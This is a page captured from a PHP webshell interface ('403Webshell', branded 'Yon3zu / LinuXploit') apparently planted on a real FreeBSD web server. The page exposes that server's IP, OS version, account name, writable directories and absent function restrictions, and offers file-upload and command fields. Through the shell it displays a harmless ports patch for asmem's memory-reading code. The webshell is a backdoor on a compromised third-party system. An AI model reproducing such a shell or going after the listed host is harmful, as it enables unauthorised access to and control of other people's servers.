403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/asmem/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/asmem/files/patch-read__mem.c
--- read_mem.c.orig	2007-04-12 20:38:40 UTC
+++ read_mem.c
@@ -56,6 +56,8 @@ char buf[BUFFER_LENGTH];
 // Machine dependent headers
 // FreeBSD
 #if defined(__FreeBSD__)
+#define _WANT_VMMETER
+#include <sys/param.h>
 #include <sys/conf.h>
 #include <osreldate.h>
 #include <kvm.h>
@@ -336,6 +338,14 @@ void error_handle( int place, const char * message )
 int read_meminfo() {
       int pagesize, pageshift;
 #if __FreeBSD_version > 400000
+	
+      /* setup pageshift */
+      pagesize = getpagesize();
+      pageshift = 0;
+      while (pagesize > 1) {
+             pageshift++;
+             pagesize >>= 1;
+      }
 
       struct kvm_swap kswap[SWAP_DEVICES];
       int i, swaps;
@@ -347,10 +357,6 @@ int read_meminfo() {
       time_t current_time;
       #define GETSWAP_DELAY 60 /* 1 min */
 
-      /* get the info */
-      if (kvm_read(kd, cnt_offset, (int *)(&sum), sizeof(sum)) != sizeof(sum))
-            return (-1); 
-            
       /* we obtain swap info every GETSWAP_DELAY seconds because of
        * kvm_getswapinfo CPU load 
        */
@@ -406,9 +412,19 @@ int read_meminfo() {
 
 #endif /* if __FreeBSD_version > 400000  */
 
-      state.fresh.total =  pagetok(sum.v_page_count);
-      state.fresh.used = pagetok(sum.v_page_count-sum.v_free_count);
-      state.fresh.free = pagetok(sum.v_free_count);
+      unsigned long physmem, freemem, inacmem;
+      size_t sz = sizeof(unsigned long);
+
+      physmem = 0;
+      freemem = 0;
+      inacmem = 0;
+      sysctlbyname("hw.physmem", &physmem, &sz, NULL, 0); 
+      sysctlbyname("vm.stats.vm.v_free_count", &freemem, &sz, NULL, 0); 
+      sysctlbyname("vm.stats.vm.v_inactive_count", &inacmem, &sz, NULL, 0);
+
+      state.fresh.total = physmem;
+      state.fresh.free = pagetok(freemem + inacmem);
+      state.fresh.used = physmem - pagetok(freemem + inacmem);
                         
       state.fresh.shared = 0;  /* dont know how to get these */
       state.fresh.buffers = 0;

Youez - 2016 - github.com/yon3zu
LinuXploit